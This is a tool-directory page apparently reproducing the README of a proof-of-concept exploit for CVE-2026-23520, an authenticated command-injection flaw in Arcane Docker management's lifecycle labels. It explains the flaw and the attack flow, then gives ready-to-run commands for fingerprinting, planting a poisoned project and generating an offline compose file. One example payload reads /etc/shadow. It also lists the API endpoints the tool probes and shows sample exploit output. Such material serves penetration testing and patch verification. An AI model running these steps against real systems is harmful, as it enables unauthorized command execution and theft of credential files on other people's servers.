Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
POC-CVE-2026-23520 — Proof-of-concept exploit for CVE-2026-23520, an authenticated RCE in Arcane Docker management via OS command injection in lifecycle labels. Includes check, exploit, and generate modes. | Kitploit
Tools/GitHubGitHub/augmaster/poc-cve-2026-23520
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubaugmaster/poc-cve-2026-23520

POC-CVE-2026-23520

Proof-of-concept exploit for CVE-2026-23520, an authenticated RCE in Arcane Docker management via OS command injection in lifecycle labels. Includes check, exploit, and generate modes.

View Repository
25 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-23520 — Arcane Lifecycle Label RCE

OS Command Injection in Arcane Docker Management (< 1.13.0)

Overview

Arcane is a modern, web-based Docker management platform. Versions prior to 1.13.0 are vulnerable to an authenticated Remote Code Execution (RCE) via OS command injection in the updater service's lifecycle labels.

The updater service supported two Docker container labels:

LabelTrigger
com.getarcaneapp.arcane.lifecycle.pre-updateBefore a container update
com.getarcaneapp.arcane.lifecycle.post-updateAfter a container update

The label value is passed directly to /bin/sh -c without any sanitization. Because any authenticated user (not just administrators) can create projects through the API, an attacker can plant a poisoned project. When an admin later triggers a container update, the injected command executes inside the container — and potentially on the host if volume mounts are present.

Attack Flow

root@kitploit:~
 Attacker (low-priv user)                   Arcane Server
 ────────────────────────                   ──────────────
 1. Authenticate (any user)  ──────────►  JWT issued
 2. Create project with                   Project saved with
    poisoned lifecycle label  ──────────►  malicious label
                                             │
         ┌───────────────────────────────────┘
         │  3. Admin triggers container update
         ▼
    Arcane updater reads label value
    Passes it to /bin/sh -c
         │
         ▼
    *** Arbitrary command execution ***
    (container scope, or host if volumes mounted)

Affected Versions

StatusVersions
VulnerableArcane < 1.13.0
PatchedArcane ≥ 1.13.0

The fix (commit 5a9c2f9) completely removes the lifecycle label feature to eliminate the attack surface.

Features

  • Zero dependencies — stdlib urllib only, runs on any Python 3.10+
  • Resilient probing — silently tries multiple API paths, response key names, and credential field formats to adapt to different Arcane versions and configurations
  • Three modes — check (fingerprint), exploit (deploy), generate (offline compose file)
  • Verbose mode (-v) — shows exactly which endpoints are being probed and what comes back

Usage

Check if a target is vulnerable

root@kitploit:~
python3 poc_cve_2026_23520.py check -t <TARGET_IP>

Deploy the exploit

root@kitploit:~
python3 poc_cve_2026_23520.py exploit \
    -t <TARGET_IP> \
    -u <USERNAME> \
    -p <PASSWORD> \
    --payload "id"

Generate a poisoned compose file (offline)

root@kitploit:~
python3 poc_cve_2026_23520.py generate --payload "cat /etc/shadow"

Debug endpoint probing

root@kitploit:~
python3 poc_cve_2026_23520.py -v check -t <TARGET_IP>

Full options

root@kitploit:~
usage: poc_cve_2026_23520.py [-h] [-v] {exploit,check,generate} ...

positional arguments:
  {exploit,check,generate}
    exploit             Deploy the poisoned project via the Arcane API
    check               Fingerprint Arcane and check if vulnerable
    generate            Generate a poisoned compose file (no network required)

options:
  -h, --help            show this help message and exit
  -v, --verbose         Show probing debug output

Exploit flags:

FlagDescriptionDefault
-t, --targetArcane host (IP or hostname)required
-P, --portArcane port3552
-u, --usernameAny authenticated Arcane userrequired
-p, --passwordUser passwordrequired
--payloadShell command to injectid
--hookpre or post update hookpre
--project-nameName for the poisoned projectpoc-cve-2026-23520
--env-idEnvironment ID (auto-detected if omitted)auto
--schemehttp or httpshttp
--no-verifySkip TLS certificate verificationoff

Endpoint Resilience

The script doesn't hardcode a single API path. Instead it silently probes multiple known paths for each operation and stops at the first hit:

OperationEndpoints tried
Version/api/version, /api/system/version, /api/v1/version, /api/settings/version, /api/status, /api/health, /api/info
Auth/api/auth/login, /api/login, /api/v1/auth/login, /api/auth/signin, /api/users/login
Environments/api/environments, /api/v1/environments, /api/endpoints, /api/v1/endpoints
Project create/api/environments/{id}/projects, /api/v1/environments/{id}/projects, /api/projects, /api/v1/projects, and more

Response keys are also matched flexibly (e.g., currentVersion, version, Version, serverVersion — including nested objects and case-insensitive lookup).

Example Output

root@kitploit:~
   ╔═══════════════════════════════════════════════════════╗
   ║          CVE-2026-23520  PoC Exploit                  ║
   ║    Arcane < 1.13.0 — Lifecycle Label RCE              ║
   ╚═══════════════════════════════════════════════════════╝

  ── Step 1 · Fingerprinting Target ──
  [*] Target: http://10.129.7.208:3552
  [*] Probing version endpoints …
  [+] Found version via /api/version
  [+] Arcane version: v1.12.4
  [+] Version v1.12.4 is < 1.13.0 — VULNERABLE

  ── Step 2 · Authentication ──
  [*] Authenticating as attacker …
  [+] JWT obtained via /api/auth/login

  ── Step 3 · Environment Discovery ──
  [*] Probing environment endpoints …
  [+] Found 1 environment(s) via /api/environments
  [*]   → 1  (local)
  [+] Using environment: 1

  ── Step 4 · Planting Poisoned Project ──
  [*] Injecting payload into lifecycle label: pre-update
  [*] Label : com.getarcaneapp.arcane.lifecycle.pre-update
  [*] Value : id
  [+] Project created via /api/environments/1/projects

  ── Exploit Planted Successfully ──
  [+] The poisoned project is now waiting for an update trigger.

References

  • Advisory: GHSA-gjqq-6r35-w3r8
  • NVD: CVE-2026-23520
  • Fix commit: 5a9c2f9
  • Patched release: v1.13.0

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. The author is not responsible for any misuse. Only use this against systems you own or have explicit written permission to test.

License

MIT

Download Tool